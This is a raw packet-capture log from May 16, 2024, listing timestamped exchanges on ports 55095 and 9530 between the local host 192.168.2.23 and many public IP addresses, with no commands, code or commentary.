May 16, 2024 16:38:53.041868925 CEST	55095	9530	192.168.2.23	116.37.106.121
May 16, 2024 16:38:53.041883945 CEST	9530	55095	91.58.204.122	192.168.2.23
May 16, 2024 16:38:53.041893005 CEST	55095	9530	192.168.2.23	52.215.18.1
May 16, 2024 16:38:53.041893005 CEST	55095	9530	192.168.2.23	186.9.204.237
May 16, 2024 16:38:53.041897058 CEST	9530	55095	66.20.7.67	192.168.2.23
May 16, 2024 16:38:53.041898966 CEST	9530	55095	111.179.49.115	192.168.2.23
May 16, 2024 16:38:53.041909933 CEST	9530	55095	95.108.61.126	192.168.2.23
May 16, 2024 16:38:53.041914940 CEST	55095	9530	192.168.2.23	59.139.155.231
May 16, 2024 16:38:53.041914940 CEST	55095	9530	192.168.2.23	91.58.204.122
May 16, 2024 16:38:53.041914940 CEST	9530	55095	64.114.187.159	192.168.2.23
May 16, 2024 16:38:53.041918039 CEST	9530	55095	82.118.96.2	192.168.2.23
May 16, 2024 16:38:53.041923046 CEST	9530	55095	106.21.143.241	192.168.2.23
May 16, 2024 16:38:53.041924953 CEST	9530	55095	177.145.153.173	192.168.2.23
May 16, 2024 16:38:53.041927099 CEST	9530	55095	101.184.4.75	192.168.2.23
May 16, 2024 16:38:53.041932106 CEST	9530	55095	43.182.248.56	192.168.2.23
May 16, 2024 16:38:53.041934013 CEST	9530	55095	136.128.234.94	192.168.2.23
May 16, 2024 16:38:53.041938066 CEST	9530	55095	124.84.252.125	192.168.2.23
May 16, 2024 16:38:53.041939020 CEST	55095	9530	192.168.2.23	111.179.49.115
May 16, 2024 16:38:53.041939974 CEST	55095	9530	192.168.2.23	66.20.7.67
May 16, 2024 16:38:53.041946888 CEST	55095	9530	192.168.2.23	64.114.187.159
May 16, 2024 16:38:53.041953087 CEST	9530	55095	70.45.157.71	192.168.2.23
May 16, 2024 16:38:53.041964054 CEST	9530	55095	147.118.111.149	192.168.2.23
May 16, 2024 16:38:53.041971922 CEST	9530	55095	170.213.240.116	192.168.2.23
May 16, 2024 16:38:53.041975021 CEST	55095	9530	192.168.2.23	106.21.143.241
May 16, 2024 16:38:53.041975021 CEST	55095	9530	192.168.2.23	124.84.252.125
May 16, 2024 16:38:53.041976929 CEST	55095	9530	192.168.2.23	95.108.61.126
May 16, 2024 16:38:53.041976929 CEST	55095	9530	192.168.2.23	136.128.234.94
May 16, 2024 16:38:53.041979074 CEST	55095	9530	192.168.2.23	177.145.153.173
May 16, 2024 16:38:53.041979074 CEST	55095	9530	192.168.2.23	82.118.96.2
May 16, 2024 16:38:53.041990042 CEST	9530	55095	210.95.251.120	192.168.2.23
May 16, 2024 16:38:53.041990995 CEST	55095	9530	192.168.2.23	101.184.4.75
May 16, 2024 16:38:53.041995049 CEST	9530	55095	41.165.101.77	192.168.2.23
May 16, 2024 16:38:53.042006969 CEST	9530	55095	184.137.140.182	192.168.2.23
May 16, 2024 16:38:53.042011023 CEST	9530	55095	81.76.11.163	192.168.2.23
May 16, 2024 16:38:53.042012930 CEST	9530	55095	158.129.224.43	192.168.2.23
May 16, 2024 16:38:53.042016029 CEST	9530	55095	62.131.225.162	192.168.2.23
May 16, 2024 16:38:53.042016029 CEST	55095	9530	192.168.2.23	170.213.240.116
May 16, 2024 16:38:53.042022943 CEST	55095	9530	192.168.2.23	147.118.111.149
May 16, 2024 16:38:53.042027950 CEST	9530	55095	135.227.60.13	192.168.2.23
May 16, 2024 16:38:53.042033911 CEST	9530	55095	112.159.127.187	192.168.2.23
May 16, 2024 16:38:53.042043924 CEST	55095	9530	192.168.2.23	41.165.101.77
May 16, 2024 16:38:53.042047977 CEST	55095	9530	192.168.2.23	43.182.248.56
May 16, 2024 16:38:53.042047977 CEST	55095	9530	192.168.2.23	70.45.157.71
May 16, 2024 16:38:53.042067051 CEST	55095	9530	192.168.2.23	158.129.224.43
May 16, 2024 16:38:53.042068958 CEST	55095	9530	192.168.2.23	81.76.11.163
May 16, 2024 16:38:53.042069912 CEST	55095	9530	192.168.2.23	184.137.140.182
May 16, 2024 16:38:53.042073011 CEST	55095	9530	192.168.2.23	62.131.225.162
May 16, 2024 16:38:53.042073011 CEST	55095	9530	192.168.2.23	112.159.127.187
May 16, 2024 16:38:53.042073965 CEST	55095	9530	192.168.2.23	210.95.251.120
May 16, 2024 16:38:53.042088985 CEST	55095	9530	192.168.2.23	135.227.60.13
May 16, 2024 16:38:53.042706966 CEST	9530	55095	173.146.89.128	192.168.2.23
May 16, 2024 16:38:53.042726994 CEST	9530	55095	185.86.83.194	192.168.2.23
May 16, 2024 16:38:53.042732000 CEST	9530	55095	174.160.113.223	192.168.2.23
May 16, 2024 16:38:53.042736053 CEST	9530	55095	40.53.183.101	192.168.2.23
May 16, 2024 16:38:53.042738914 CEST	55095	9530	192.168.2.23	173.146.89.128
May 16, 2024 16:38:53.042742014 CEST	9530	55095	189.182.171.248	192.168.2.23
May 16, 2024 16:38:53.042753935 CEST	9530	55095	112.42.65.226	192.168.2.23
May 16, 2024 16:38:53.042763948 CEST	9530	55095	220.18.6.135	192.168.2.23
May 16, 2024 16:38:53.042773008 CEST	9530	55095	99.20.95.129	192.168.2.23
May 16, 2024 16:38:53.042773008 CEST	55095	9530	192.168.2.23	40.53.183.101
May 16, 2024 16:38:53.042773962 CEST	55095	9530	192.168.2.23	185.86.83.194
May 16, 2024 16:38:53.042778969 CEST	9530	55095	63.105.151.203	192.168.2.23
May 16, 2024 16:38:53.042782068 CEST	55095	9530	192.168.2.23	189.182.171.248
May 16, 2024 16:38:53.042782068 CEST	55095	9530	192.168.2.23	174.160.113.223
May 16, 2024 16:38:53.042782068 CEST	55095	9530	192.168.2.23	112.42.65.226
May 16, 2024 16:38:53.042793036 CEST	9530	55095	74.28.204.66	192.168.2.23
May 16, 2024 16:38:53.042797089 CEST	9530	55095	48.118.3.134	192.168.2.23
May 16, 2024 16:38:53.042802095 CEST	9530	55095	67.225.158.22	192.168.2.23
May 16, 2024 16:38:53.042804956 CEST	9530	55095	125.122.159.46	192.168.2.23
May 16, 2024 16:38:53.042809963 CEST	9530	55095	126.255.39.138	192.168.2.23
May 16, 2024 16:38:53.042814016 CEST	9530	55095	167.110.237.213	192.168.2.23
May 16, 2024 16:38:53.042817116 CEST	55095	9530	192.168.2.23	220.18.6.135
May 16, 2024 16:38:53.042819023 CEST	55095	9530	192.168.2.23	63.105.151.203
May 16, 2024 16:38:53.042820930 CEST	55095	9530	192.168.2.23	99.20.95.129
May 16, 2024 16:38:53.042823076 CEST	9530	55095	97.136.139.235	192.168.2.23
May 16, 2024 16:38:53.042831898 CEST	55095	9530	192.168.2.23	125.122.159.46
May 16, 2024 16:38:53.042831898 CEST	9530	55095	125.51.236.160	192.168.2.23
May 16, 2024 16:38:53.042834044 CEST	55095	9530	192.168.2.23	74.28.204.66
May 16, 2024 16:38:53.042844057 CEST	9530	55095	113.243.228.249	192.168.2.23
May 16, 2024 16:38:53.042848110 CEST	55095	9530	192.168.2.23	48.118.3.134
May 16, 2024 16:38:53.042855024 CEST	9530	55095	207.87.129.152	192.168.2.23
May 16, 2024 16:38:53.042857885 CEST	55095	9530	192.168.2.23	67.225.158.22
May 16, 2024 16:38:53.042857885 CEST	55095	9530	192.168.2.23	126.255.39.138
May 16, 2024 16:38:53.042865992 CEST	9530	55095	137.166.172.214	192.168.2.23
May 16, 2024 16:38:53.042871952 CEST	55095	9530	192.168.2.23	97.136.139.235
May 16, 2024 16:38:53.042876005 CEST	9530	55095	172.197.33.80	192.168.2.23
May 16, 2024 16:38:53.042876959 CEST	55095	9530	192.168.2.23	125.51.236.160
May 16, 2024 16:38:53.042889118 CEST	55095	9530	192.168.2.23	167.110.237.213
May 16, 2024 16:38:53.042889118 CEST	55095	9530	192.168.2.23	113.243.228.249
May 16, 2024 16:38:53.042891979 CEST	9530	55095	13.251.172.167	192.168.2.23
May 16, 2024 16:38:53.042897940 CEST	9530	55095	84.132.176.247	192.168.2.23
May 16, 2024 16:38:53.042907000 CEST	55095	9530	192.168.2.23	137.166.172.214
May 16, 2024 16:38:53.042912006 CEST	55095	9530	192.168.2.23	207.87.129.152
May 16, 2024 16:38:53.042952061 CEST	55095	9530	192.168.2.23	172.197.33.80
May 16, 2024 16:38:53.042967081 CEST	55095	9530	192.168.2.23	13.251.172.167
May 16, 2024 16:38:53.042967081 CEST	55095	9530	192.168.2.23	84.132.176.247
May 16, 2024 16:38:53.044020891 CEST	9530	55095	138.162.227.241	192.168.2.23
May 16, 2024 16:38:53.044029951 CEST	9530	55095	125.19.133.111	192.168.2.23
May 16, 2024 16:38:53.044039965 CEST	9530	55095	171.50.121.221	192.168.2.23
May 16, 2024 16:38:53.044051886 CEST	55095	9530	192.168.2.23	138.162.227.241
May 16, 2024 16:38:53.044053078 CEST	9530	55095	85.207.7.48	192.168.2.23
May 16, 2024 16:38:53.044063091 CEST	55095	9530	192.168.2.23	125.19.133.111
May 16, 2024 16:38:53.044064045 CEST	9530	55095	113.7.174.229	192.168.2.23
May 16, 2024 16:38:53.044073105 CEST	9530	55095	40.84.71.54	192.168.2.23
May 16, 2024 16:38:53.044081926 CEST	9530	55095	40.183.122.16	192.168.2.23
May 16, 2024 16:38:53.044090033 CEST	55095	9530	192.168.2.23	171.50.121.221
May 16, 2024 16:38:53.044090986 CEST	9530	55095	146.95.149.202	192.168.2.23
May 16, 2024 16:38:53.044090986 CEST	55095	9530	192.168.2.23	85.207.7.48
May 16, 2024 16:38:53.044106007 CEST	9530	55095	165.229.233.20	192.168.2.23
May 16, 2024 16:38:53.044107914 CEST	55095	9530	192.168.2.23	40.183.122.16
May 16, 2024 16:38:53.044117928 CEST	55095	9530	192.168.2.23	40.84.71.54
May 16, 2024 16:38:53.044118881 CEST	9530	55095	206.5.85.135	192.168.2.23
May 16, 2024 16:38:53.044122934 CEST	55095	9530	192.168.2.23	113.7.174.229
May 16, 2024 16:38:53.044123888 CEST	55095	9530	192.168.2.23	146.95.149.202
May 16, 2024 16:38:53.044131994 CEST	9530	55095	192.176.169.19	192.168.2.23
May 16, 2024 16:38:53.044140100 CEST	9530	55095	63.172.7.103	192.168.2.23
May 16, 2024 16:38:53.044143915 CEST	55095	9530	192.168.2.23	165.229.233.20
May 16, 2024 16:38:53.044147968 CEST	55095	9530	192.168.2.23	206.5.85.135
May 16, 2024 16:38:53.044148922 CEST	9530	55095	27.144.120.207	192.168.2.23
May 16, 2024 16:38:53.044159889 CEST	9530	55095	42.131.45.187	192.168.2.23
May 16, 2024 16:38:53.044166088 CEST	55095	9530	192.168.2.23	192.176.169.19
May 16, 2024 16:38:53.044169903 CEST	9530	55095	79.90.38.163	192.168.2.23
May 16, 2024 16:38:53.044178009 CEST	9530	55095	86.7.247.191	192.168.2.23
May 16, 2024 16:38:53.044183016 CEST	55095	9530	192.168.2.23	27.144.120.207
May 16, 2024 16:38:53.044188976 CEST	9530	55095	208.231.228.197	192.168.2.23
May 16, 2024 16:38:53.044190884 CEST	55095	9530	192.168.2.23	42.131.45.187
May 16, 2024 16:38:53.044197083 CEST	9530	55095	135.140.223.191	192.168.2.23
May 16, 2024 16:38:53.044202089 CEST	9530	55095	68.228.7.97	192.168.2.23
May 16, 2024 16:38:53.044202089 CEST	55095	9530	192.168.2.23	63.172.7.103
May 16, 2024 16:38:53.044203997 CEST	55095	9530	192.168.2.23	79.90.38.163
May 16, 2024 16:38:53.044212103 CEST	9530	55095	178.65.164.117	192.168.2.23
May 16, 2024 16:38:53.044218063 CEST	55095	9530	192.168.2.23	86.7.247.191
May 16, 2024 16:38:53.044224977 CEST	55095	9530	192.168.2.23	208.231.228.197
May 16, 2024 16:38:53.044226885 CEST	55095	9530	192.168.2.23	135.140.223.191
May 16, 2024 16:38:53.044234991 CEST	55095	9530	192.168.2.23	68.228.7.97
May 16, 2024 16:38:53.044248104 CEST	55095	9530	192.168.2.23	178.65.164.117
May 16, 2024 16:38:53.044691086 CEST	9530	55095	117.249.253.166	192.168.2.23
May 16, 2024 16:38:53.044693947 CEST	9530	55095	69.61.41.161	192.168.2.23
May 16, 2024 16:38:53.044703960 CEST	9530	55095	39.111.0.99	192.168.2.23
May 16, 2024 16:38:53.044718981 CEST	9530	55095	57.112.127.203	192.168.2.23
May 16, 2024 16:38:53.044728994 CEST	9530	55095	188.8.152.127	192.168.2.23
May 16, 2024 16:38:53.044730902 CEST	55095	9530	192.168.2.23	69.61.41.161
May 16, 2024 16:38:53.044739008 CEST	9530	55095	46.11.97.67	192.168.2.23
May 16, 2024 16:38:53.044754028 CEST	9530	55095	63.64.192.192	192.168.2.23
May 16, 2024 16:38:53.044758081 CEST	55095	9530	192.168.2.23	57.112.127.203
May 16, 2024 16:38:53.044758081 CEST	55095	9530	192.168.2.23	188.8.152.127
May 16, 2024 16:38:53.044760942 CEST	55095	9530	192.168.2.23	117.249.253.166
May 16, 2024 16:38:53.044760942 CEST	55095	9530	192.168.2.23	39.111.0.99
May 16, 2024 16:38:53.044764996 CEST	9530	55095	132.211.7.108	192.168.2.23
May 16, 2024 16:38:53.044780016 CEST	9530	55095	171.247.162.53	192.168.2.23
May 16, 2024 16:38:53.044786930 CEST	55095	9530	192.168.2.23	63.64.192.192
May 16, 2024 16:38:53.044787884 CEST	9530	55095	189.233.163.34	192.168.2.23
May 16, 2024 16:38:53.044794083 CEST	9530	55095	135.108.40.214	192.168.2.23
May 16, 2024 16:38:53.044795990 CEST	9530	55095	82.114.227.105	192.168.2.23
May 16, 2024 16:38:53.044796944 CEST	9530	55095	52.65.156.20	192.168.2.23
May 16, 2024 16:38:53.044799089 CEST	55095	9530	192.168.2.23	132.211.7.108
May 16, 2024 16:38:53.044801950 CEST	9530	55095	85.46.221.67	192.168.2.23
May 16, 2024 16:38:53.044806957 CEST	9530	55095	14.112.223.85	192.168.2.23
May 16, 2024 16:38:53.044809103 CEST	9530	55095	107.187.155.100	192.168.2.23
May 16, 2024 16:38:53.044812918 CEST	9530	55095	49.78.105.20	192.168.2.23
May 16, 2024 16:38:53.044814110 CEST	55095	9530	192.168.2.23	171.247.162.53
May 16, 2024 16:38:53.044819117 CEST	9530	55095	94.245.209.92	192.168.2.23
May 16, 2024 16:38:53.044823885 CEST	9530	55095	67.89.136.171	192.168.2.23
May 16, 2024 16:38:53.044830084 CEST	9530	55095	146.45.44.168	192.168.2.23
May 16, 2024 16:38:53.044835091 CEST	9530	55095	13.107.233.114	192.168.2.23
May 16, 2024 16:38:53.044838905 CEST	55095	9530	192.168.2.23	135.108.40.214
May 16, 2024 16:38:53.044838905 CEST	9530	55095	4.80.4.94	192.168.2.23
May 16, 2024 16:38:53.044843912 CEST	55095	9530	192.168.2.23	82.114.227.105
May 16, 2024 16:38:53.044843912 CEST	9530	55095	105.70.74.0	192.168.2.23
May 16, 2024 16:38:53.044846058 CEST	55095	9530	192.168.2.23	85.46.221.67
May 16, 2024 16:38:53.044850111 CEST	9530	55095	182.27.6.109	192.168.2.23
May 16, 2024 16:38:53.044851065 CEST	9530	55095	25.125.67.165	192.168.2.23
May 16, 2024 16:38:53.044852972 CEST	9530	55095	48.77.45.219	192.168.2.23
May 16, 2024 16:38:53.044857979 CEST	9530	55095	34.200.114.186	192.168.2.23
May 16, 2024 16:38:53.044858932 CEST	55095	9530	192.168.2.23	14.112.223.85
May 16, 2024 16:38:53.044859886 CEST	9530	55095	94.6.17.84	192.168.2.23
May 16, 2024 16:38:53.044861078 CEST	55095	9530	192.168.2.23	107.187.155.100
May 16, 2024 16:38:53.044861078 CEST	55095	9530	192.168.2.23	67.89.136.171
May 16, 2024 16:38:53.044864893 CEST	9530	55095	93.42.43.105	192.168.2.23
May 16, 2024 16:38:53.044867992 CEST	55095	9530	192.168.2.23	13.107.233.114
May 16, 2024 16:38:53.044869900 CEST	9530	55095	43.106.143.167	192.168.2.23
May 16, 2024 16:38:53.044871092 CEST	9530	55095	45.218.171.109	192.168.2.23
May 16, 2024 16:38:53.044872046 CEST	9530	55095	153.154.192.48	192.168.2.23
May 16, 2024 16:38:53.044872999 CEST	55095	9530	192.168.2.23	49.78.105.20
May 16, 2024 16:38:53.044878006 CEST	9530	55095	60.231.139.174	192.168.2.23
May 16, 2024 16:38:53.044883013 CEST	9530	55095	205.108.161.24	192.168.2.23
May 16, 2024 16:38:53.044884920 CEST	9530	55095	99.84.176.207	192.168.2.23
May 16, 2024 16:38:53.044886112 CEST	9530	55095	179.223.31.213	192.168.2.23
May 16, 2024 16:38:53.044888020 CEST	55095	9530	192.168.2.23	94.245.209.92
May 16, 2024 16:38:53.044889927 CEST	55095	9530	192.168.2.23	105.70.74.0
May 16, 2024 16:38:53.044892073 CEST	9530	55095	108.241.140.31	192.168.2.23
May 16, 2024 16:38:53.044895887 CEST	55095	9530	192.168.2.23	34.200.114.186
May 16, 2024 16:38:53.044898033 CEST	55095	9530	192.168.2.23	4.80.4.94
May 16, 2024 16:38:53.044898033 CEST	9530	55095	167.95.41.87	192.168.2.23
May 16, 2024 16:38:53.044900894 CEST	9530	55095	57.222.24.45	192.168.2.23
May 16, 2024 16:38:53.044903040 CEST	9530	55095	176.66.126.139	192.168.2.23
May 16, 2024 16:38:53.044904947 CEST	9530	55095	191.238.27.53	192.168.2.23
May 16, 2024 16:38:53.044909000 CEST	55095	9530	192.168.2.23	182.27.6.109
May 16, 2024 16:38:53.044909000 CEST	55095	9530	192.168.2.23	25.125.67.165
May 16, 2024 16:38:53.044912100 CEST	55095	9530	192.168.2.23	93.42.43.105
May 16, 2024 16:38:53.044930935 CEST	55095	9530	192.168.2.23	48.77.45.219
May 16, 2024 16:38:53.044930935 CEST	55095	9530	192.168.2.23	94.6.17.84
May 16, 2024 16:38:53.044931889 CEST	55095	9530	192.168.2.23	46.11.97.67
May 16, 2024 16:38:53.044931889 CEST	55095	9530	192.168.2.23	189.233.163.34
May 16, 2024 16:38:53.044939995 CEST	55095	9530	192.168.2.23	45.218.171.109
May 16, 2024 16:38:53.044944048 CEST	55095	9530	192.168.2.23	179.223.31.213
May 16, 2024 16:38:53.044945002 CEST	55095	9530	192.168.2.23	153.154.192.48
May 16, 2024 16:38:53.044956923 CEST	55095	9530	192.168.2.23	52.65.156.20
May 16, 2024 16:38:53.044956923 CEST	55095	9530	192.168.2.23	146.45.44.168
May 16, 2024 16:38:53.044956923 CEST	55095	9530	192.168.2.23	43.106.143.167
May 16, 2024 16:38:53.044965982 CEST	55095	9530	192.168.2.23	108.241.140.31
May 16, 2024 16:38:53.044965982 CEST	55095	9530	192.168.2.23	167.95.41.87
May 16, 2024 16:38:53.044971943 CEST	55095	9530	192.168.2.23	60.231.139.174
May 16, 2024 16:38:53.044971943 CEST	55095	9530	192.168.2.23	205.108.161.24
May 16, 2024 16:38:53.044977903 CEST	55095	9530	192.168.2.23	99.84.176.207
May 16, 2024 16:38:53.044994116 CEST	55095	9530	192.168.2.23	191.238.27.53
May 16, 2024 16:38:53.044994116 CEST	55095	9530	192.168.2.23	176.66.126.139
May 16, 2024 16:38:53.045001984 CEST	55095	9530	192.168.2.23	57.222.24.45
May 16, 2024 16:38:53.045594931 CEST	9530	55095	140.6.71.172	192.168.2.23
May 16, 2024 16:38:53.045614004 CEST	9530	55095	31.214.170.240	192.168.2.23
May 16, 2024 16:38:53.045619965 CEST	9530	55095	77.121.181.62	192.168.2.23
May 16, 2024 16:38:53.045620918 CEST	9530	55095	25.49.196.214	192.168.2.23
May 16, 2024 16:38:53.045624018 CEST	9530	55095	43.88.23.243	192.168.2.23
May 16, 2024 16:38:53.045629978 CEST	9530	55095	40.206.17.16	192.168.2.23
May 16, 2024 16:38:53.045624971 CEST	55095	9530	192.168.2.23	140.6.71.172
May 16, 2024 16:38:53.045635939 CEST	9530	55095	8.56.107.220	192.168.2.23
May 16, 2024 16:38:53.045640945 CEST	9530	55095	130.62.27.251	192.168.2.23
May 16, 2024 16:38:53.045650959 CEST	9530	55095	209.111.58.162	192.168.2.23
May 16, 2024 16:38:53.045655966 CEST	9530	55095	130.66.37.10	192.168.2.23
May 16, 2024 16:38:53.045656919 CEST	55095	9530	192.168.2.23	31.214.170.240
May 16, 2024 16:38:53.045658112 CEST	55095	9530	192.168.2.23	77.121.181.62
May 16, 2024 16:38:53.045658112 CEST	55095	9530	192.168.2.23	25.49.196.214
May 16, 2024 16:38:53.045660019 CEST	9530	55095	121.52.112.152	192.168.2.23
May 16, 2024 16:38:53.045661926 CEST	9530	55095	40.10.25.218	192.168.2.23
May 16, 2024 16:38:53.045666933 CEST	9530	55095	100.182.58.36	192.168.2.23
May 16, 2024 16:38:53.045670986 CEST	9530	55095	70.192.100.115	192.168.2.23
May 16, 2024 16:38:53.045675993 CEST	55095	9530	192.168.2.23	8.56.107.220
May 16, 2024 16:38:53.045675993 CEST	9530	55095	108.43.123.154	192.168.2.23
May 16, 2024 16:38:53.045680046 CEST	9530	55095	63.21.8.228	192.168.2.23
May 16, 2024 16:38:53.045681953 CEST	9530	55095	202.119.56.186	192.168.2.23
May 16, 2024 16:38:53.045685053 CEST	55095	9530	192.168.2.23	130.66.37.10
May 16, 2024 16:38:53.045686960 CEST	9530	55095	222.214.210.245	192.168.2.23
May 16, 2024 16:38:53.045689106 CEST	9530	55095	221.227.153.74	192.168.2.23
May 16, 2024 16:38:53.045692921 CEST	9530	55095	203.29.253.165	192.168.2.23
May 16, 2024 16:38:53.045695066 CEST	55095	9530	192.168.2.23	130.62.27.251
May 16, 2024 16:38:53.045695066 CEST	55095	9530	192.168.2.23	209.111.58.162
May 16, 2024 16:38:53.045695066 CEST	55095	9530	192.168.2.23	121.52.112.152
May 16, 2024 16:38:53.045695066 CEST	55095	9530	192.168.2.23	40.10.25.218
May 16, 2024 16:38:53.045697927 CEST	55095	9530	192.168.2.23	100.182.58.36
May 16, 2024 16:38:53.045703888 CEST	55095	9530	192.168.2.23	43.88.23.243
May 16, 2024 16:38:53.045703888 CEST	55095	9530	192.168.2.23	40.206.17.16
May 16, 2024 16:38:53.045703888 CEST	55095	9530	192.168.2.23	108.43.123.154
May 16, 2024 16:38:53.045706034 CEST	55095	9530	192.168.2.23	70.192.100.115
May 16, 2024 16:38:53.045717955 CEST	55095	9530	192.168.2.23	222.214.210.245
May 16, 2024 16:38:53.045722008 CEST	55095	9530	192.168.2.23	203.29.253.165
May 16, 2024 16:38:53.045722961 CEST	55095	9530	192.168.2.23	63.21.8.228
May 16, 2024 16:38:53.045731068 CEST	55095	9530	192.168.2.23	202.119.56.186
May 16, 2024 16:38:53.045741081 CEST	55095	9530	192.168.2.23	221.227.153.74
May 16, 2024 16:38:53.046278954 CEST	9530	55095	146.223.104.172	192.168.2.23
May 16, 2024 16:38:53.046292067 CEST	9530	55095	216.215.238.51	192.168.2.23
May 16, 2024 16:38:53.046305895 CEST	9530	55095	171.132.129.46	192.168.2.23
May 16, 2024 16:38:53.046313047 CEST	9530	55095	63.155.154.71	192.168.2.23
May 16, 2024 16:38:53.046315908 CEST	55095	9530	192.168.2.23	146.223.104.172
May 16, 2024 16:38:53.046318054 CEST	9530	55095	18.207.121.94	192.168.2.23
May 16, 2024 16:38:53.046324015 CEST	9530	55095	48.189.29.105	192.168.2.23
May 16, 2024 16:38:53.046325922 CEST	9530	55095	129.13.80.192	192.168.2.23
May 16, 2024 16:38:53.046329975 CEST	9530	55095	189.73.120.90	192.168.2.23
May 16, 2024 16:38:53.046331882 CEST	9530	55095	35.11.35.254	192.168.2.23
May 16, 2024 16:38:53.046335936 CEST	55095	9530	192.168.2.23	171.132.129.46
May 16, 2024 16:38:53.046336889 CEST	9530	55095	76.73.9.47	192.168.2.23
May 16, 2024 16:38:53.046339035 CEST	55095	9530	192.168.2.23	216.215.238.51
May 16, 2024 16:38:53.046346903 CEST	55095	9530	192.168.2.23	63.155.154.71
May 16, 2024 16:38:53.046349049 CEST	9530	55095	195.235.249.188	192.168.2.23
May 16, 2024 16:38:53.046358109 CEST	55095	9530	192.168.2.23	18.207.121.94
May 16, 2024 16:38:53.046358109 CEST	55095	9530	192.168.2.23	48.189.29.105
May 16, 2024 16:38:53.046363115 CEST	55095	9530	192.168.2.23	189.73.120.90
May 16, 2024 16:38:53.046364069 CEST	9530	55095	125.50.172.18	192.168.2.23
May 16, 2024 16:38:53.046375036 CEST	55095	9530	192.168.2.23	35.11.35.254
May 16, 2024 16:38:53.046380043 CEST	9530	55095	115.102.161.64	192.168.2.23
May 16, 2024 16:38:53.046382904 CEST	55095	9530	192.168.2.23	195.235.249.188
May 16, 2024 16:38:53.046391964 CEST	9530	55095	97.67.86.70	192.168.2.23
May 16, 2024 16:38:53.046400070 CEST	55095	9530	192.168.2.23	129.13.80.192
May 16, 2024 16:38:53.046400070 CEST	55095	9530	192.168.2.23	76.73.9.47
May 16, 2024 16:38:53.046401978 CEST	55095	9530	192.168.2.23	125.50.172.18
May 16, 2024 16:38:53.046401978 CEST	9530	55095	109.12.35.70	192.168.2.23
May 16, 2024 16:38:53.046421051 CEST	9530	55095	146.28.6.94	192.168.2.23
May 16, 2024 16:38:53.046431065 CEST	9530	55095	131.113.50.240	192.168.2.23
May 16, 2024 16:38:53.046441078 CEST	9530	55095	37.26.131.166	192.168.2.23
May 16, 2024 16:38:53.046444893 CEST	9530	55095	173.27.179.181	192.168.2.23
May 16, 2024 16:38:53.046454906 CEST	9530	55095	192.227.45.19	192.168.2.23
May 16, 2024 16:38:53.046456099 CEST	55095	9530	192.168.2.23	109.12.35.70
May 16, 2024 16:38:53.046457052 CEST	55095	9530	192.168.2.23	115.102.161.64
May 16, 2024 16:38:53.046457052 CEST	55095	9530	192.168.2.23	97.67.86.70
May 16, 2024 16:38:53.046473026 CEST	55095	9530	192.168.2.23	131.113.50.240
May 16, 2024 16:38:53.046478987 CEST	55095	9530	192.168.2.23	146.28.6.94
May 16, 2024 16:38:53.046478987 CEST	55095	9530	192.168.2.23	37.26.131.166
May 16, 2024 16:38:53.046503067 CEST	55095	9530	192.168.2.23	192.227.45.19
May 16, 2024 16:38:53.046518087 CEST	55095	9530	192.168.2.23	173.27.179.181
May 16, 2024 16:38:53.046947002 CEST	9530	55095	197.78.165.124	192.168.2.23
May 16, 2024 16:38:53.046958923 CEST	9530	55095	206.164.109.2	192.168.2.23
May 16, 2024 16:38:53.046968937 CEST	9530	55095	209.85.87.194	192.168.2.23
May 16, 2024 16:38:53.046973944 CEST	9530	55095	104.253.100.52	192.168.2.23
May 16, 2024 16:38:53.046983004 CEST	9530	55095	154.109.29.181	192.168.2.23
May 16, 2024 16:38:53.046997070 CEST	55095	9530	192.168.2.23	197.78.165.124
May 16, 2024 16:38:53.046998978 CEST	9530	55095	82.5.207.23	192.168.2.23
May 16, 2024 16:38:53.046999931 CEST	55095	9530	192.168.2.23	206.164.109.2
May 16, 2024 16:38:53.047008991 CEST	9530	55095	53.147.202.118	192.168.2.23
May 16, 2024 16:38:53.047014952 CEST	55095	9530	192.168.2.23	209.85.87.194
May 16, 2024 16:38:53.047019005 CEST	55095	9530	192.168.2.23	104.253.100.52
May 16, 2024 16:38:53.047020912 CEST	55095	9530	192.168.2.23	154.109.29.181
May 16, 2024 16:38:53.047028065 CEST	9530	55095	154.235.112.238	192.168.2.23
May 16, 2024 16:38:53.047032118 CEST	55095	9530	192.168.2.23	82.5.207.23
May 16, 2024 16:38:53.047039032 CEST	55095	9530	192.168.2.23	53.147.202.118
May 16, 2024 16:38:53.047039986 CEST	9530	55095	61.226.140.54	192.168.2.23
May 16, 2024 16:38:53.047054052 CEST	9530	55095	136.190.119.122	192.168.2.23
May 16, 2024 16:38:53.047065020 CEST	55095	9530	192.168.2.23	154.235.112.238
May 16, 2024 16:38:53.047070026 CEST	9530	55095	193.194.208.30	192.168.2.23
May 16, 2024 16:38:53.047074080 CEST	55095	9530	192.168.2.23	61.226.140.54
May 16, 2024 16:38:53.047075033 CEST	9530	55095	114.212.235.90	192.168.2.23
May 16, 2024 16:38:53.047076941 CEST	9530	55095	131.254.254.157	192.168.2.23
May 16, 2024 16:38:53.047079086 CEST	9530	55095	39.157.109.128	192.168.2.23
May 16, 2024 16:38:53.047080994 CEST	9530	55095	155.203.47.170	192.168.2.23
May 16, 2024 16:38:53.047081947 CEST	55095	9530	192.168.2.23	136.190.119.122
May 16, 2024 16:38:53.047082901 CEST	9530	55095	211.190.9.137	192.168.2.23
May 16, 2024 16:38:53.047094107 CEST	9530	55095	122.157.112.245	192.168.2.23
May 16, 2024 16:38:53.047105074 CEST	9530	55095	40.48.132.172	192.168.2.23
May 16, 2024 16:38:53.047113895 CEST	9530	55095	112.142.168.218	192.168.2.23
May 16, 2024 16:38:53.047118902 CEST	55095	9530	192.168.2.23	193.194.208.30
May 16, 2024 16:38:53.047118902 CEST	55095	9530	192.168.2.23	155.203.47.170
May 16, 2024 16:38:53.047122002 CEST	55095	9530	192.168.2.23	114.212.235.90
May 16, 2024 16:38:53.047122002 CEST	55095	9530	192.168.2.23	39.157.109.128
May 16, 2024 16:38:53.047123909 CEST	9530	55095	163.105.15.24	192.168.2.23
May 16, 2024 16:38:53.047128916 CEST	55095	9530	192.168.2.23	211.190.9.137
May 16, 2024 16:38:53.047128916 CEST	55095	9530	192.168.2.23	40.48.132.172
May 16, 2024 16:38:53.047135115 CEST	9530	55095	152.197.184.80	192.168.2.23
May 16, 2024 16:38:53.047137976 CEST	55095	9530	192.168.2.23	112.142.168.218
May 16, 2024 16:38:53.047158957 CEST	9530	55095	133.158.127.25	192.168.2.23
May 16, 2024 16:38:53.047173977 CEST	9530	55095	116.194.122.237	192.168.2.23
May 16, 2024 16:38:53.047175884 CEST	55095	9530	192.168.2.23	152.197.184.80
May 16, 2024 16:38:53.047177076 CEST	55095	9530	192.168.2.23	163.105.15.24
